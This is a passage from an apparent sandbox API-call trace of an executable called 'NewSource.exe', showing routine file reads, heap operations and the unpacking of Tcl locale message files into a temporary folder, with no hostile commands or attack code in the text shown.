liDistanceToMove=0x5bf498, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.103] htonl (hostlong=0xa2000000) returned 0xa2 [0037.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa2) returned 0x5444c0 [0037.103] htonl (hostlong=0xa2000000) returned 0xa2 [0037.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.103] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.103] htonl (hostlong=0x36010000) returned 0x136 [0037.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x136) returned 0x550600 [0037.103] htonl (hostlong=0xa2000000) returned 0xa2 [0037.103] htonl (hostlong=0x36010000) returned 0x136 [0037.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5444c0 | out: hHeap=0x530000) returned 1 [0037.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.103] CloseHandle (hObject=0x10c) returned 1 [0037.103] GetLastError () returned 0x0 [0037.103] SetLastError (dwErrCode=0x0) [0037.103] GetLastError () returned 0x0 [0037.103] SetLastError (dwErrCode=0x0) [0037.103] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.103] GetFileType (hFile=0x10c) returned 0x1 [0037.103] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.103] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.103] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.103] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.103] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.104] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.104] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.104] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.104] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.104] CloseHandle (hObject=0x10c) returned 1 [0037.104] GetLastError () returned 0x0 [0037.104] SetLastError (dwErrCode=0x0) [0037.104] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.104] GetFileType (hFile=0x10c) returned 0x1 [0037.104] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.104] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.104] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.104] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.104] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.104] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.104] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.104] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.104] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.104] CloseHandle (hObject=0x10c) returned 1 [0037.104] GetLastError () returned 0x0 [0037.104] SetLastError (dwErrCode=0x0) [0037.104] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_in.msg") returned 64 [0037.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_in.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.105] GetLastError () returned 0x2 [0037.105] SetLastError (dwErrCode=0x2) [0037.105] GetLastError () returned 0x2 [0037.105] SetLastError (dwErrCode=0x2) [0037.105] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_in.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_in.msg", lpFilePart=0x0) returned 0x3f [0037.105] GetLastError () returned 0x2 [0037.105] SetLastError (dwErrCode=0x2) [0037.105] GetLastError () returned 0x2 [0037.105] SetLastError (dwErrCode=0x2) [0037.105] GetLastError () returned 0x2 [0037.105] SetLastError (dwErrCode=0x2) [0037.105] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_in.msg") returned 64 [0037.105] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_in.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.106] GetFileType (hFile=0x10c) returned 0x1 [0037.106] htonl (hostlong=0x36010000) returned 0x136 [0037.106] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.106] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x136, lpOverlapped=0x0) returned 1 [0037.107] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.107] CloseHandle (hObject=0x10c) returned 1 [0037.107] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.107] htonl (hostlong=0x30000000) returned 0x30 [0037.107] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.107] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.107] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.107] GetFileType (hFile=0x10c) returned 0x1 [0037.108] htonl (hostlong=0x3a455700) returned 0x57453a [0037.108] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf53a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.108] htonl (hostlong=0xa8000000) returned 0xa8 [0037.108] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa8) returned 0x544db0 [0037.108] htonl (hostlong=0xa8000000) returned 0xa8 [0037.108] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.108] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.108] htonl (hostlong=0x2c010000) returned 0x12c [0037.108] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x12c) returned 0x550600 [0037.108] htonl (hostlong=0xa8000000) returned 0xa8 [0037.108] htonl (hostlong=0x2c010000) returned 0x12c [0037.108] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.108] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.108] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544db0 | out: hHeap=0x530000) returned 1 [0037.108] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.108] CloseHandle (hObject=0x10c) returned 1 [0037.108] GetLastError () returned 0x0 [0037.108] SetLastError (dwErrCode=0x0) [0037.108] GetLastError () returned 0x0 [0037.108] SetLastError (dwErrCode=0x0) [0037.108] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.108] GetFileType (hFile=0x10c) returned 0x1 [0037.108] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.108] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.108] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.109] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.109] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.109] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.109] CloseHandle (hObject=0x10c) returned 1 [0037.109] GetLastError () returned 0x0 [0037.109] SetLastError (dwErrCode=0x0) [0037.109] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.109] GetFileType (hFile=0x10c) returned 0x1 [0037.109] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.109] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.109] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.109] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.109] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.109] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.109] CloseHandle (hObject=0x10c) returned 1 [0037.110] GetLastError () returned 0x0 [0037.110] SetLastError (dwErrCode=0x0) [0037.110] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_nz.msg") returned 64 [0037.110] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_nz.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_nz.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.110] GetLastError () returned 0x2 [0037.110] SetLastError (dwErrCode=0x2) [0037.110] GetLastError () returned 0x2 [0037.110] SetLastError (dwErrCode=0x2) [0037.110] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_nz.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_nz.msg", lpFilePart=0x0) returned 0x3f [0037.110] GetLastError () returned 0x2 [0037.110] SetLastError (dwErrCode=0x2) [0037.110] GetLastError () returned 0x2 [0037.110] SetLastError (dwErrCode=0x2) [0037.110] GetLastError () returned 0x2 [0037.110] SetLastError (dwErrCode=0x2) [0037.110] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_nz.msg") returned 64 [0037.110] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.110] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_nz.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_nz.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.110] GetFileType (hFile=0x10c) returned 0x1 [0037.110] htonl (hostlong=0x2c010000) returned 0x12c [0037.110] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.110] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x12c, lpOverlapped=0x0) returned 1 [0037.111] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.111] CloseHandle (hObject=0x10c) returned 1 [0037.112] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.112] htonl (hostlong=0x30000000) returned 0x30 [0037.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.112] GetFileType (hFile=0x10c) returned 0x1 [0037.112] htonl (hostlong=0xe2455700) returned 0x5745e2 [0037.112] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf5e2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.112] htonl (hostlong=0xa9000000) returned 0xa9 [0037.112] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa9) returned 0x55cfe0 [0037.112] htonl (hostlong=0xa9000000) returned 0xa9 [0037.113] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.113] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.113] htonl (hostlong=0x41010000) returned 0x141 [0037.113] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x141) returned 0x550600 [0037.113] htonl (hostlong=0xa9000000) returned 0xa9 [0037.113] htonl (hostlong=0x41010000) returned 0x141 [0037.113] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.113] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.113] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.113] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.113] CloseHandle (hObject=0x10c) returned 1 [0037.113] GetLastError () returned 0x0 [0037.113] SetLastError (dwErrCode=0x0) [0037.113] GetLastError () returned 0x0 [0037.113] SetLastError (dwErrCode=0x0) [0037.113] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.113] GetFileType (hFile=0x10c) returned 0x1 [0037.113] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.113] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.114] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.114] CloseHandle (hObject=0x10c) returned 1 [0037.114] GetLastError () returned 0x0 [0037.114] SetLastError (dwErrCode=0x0) [0037.114] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.114] GetFileType (hFile=0x10c) returned 0x1 [0037.114] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.114] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.114] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.114] CloseHandle (hObject=0x10c) returned 1 [0037.114] GetLastError () returned 0x0 [0037.114] SetLastError (dwErrCode=0x0) [0037.114] MultiByteToWideChar (in: CodePage=0xfde9, 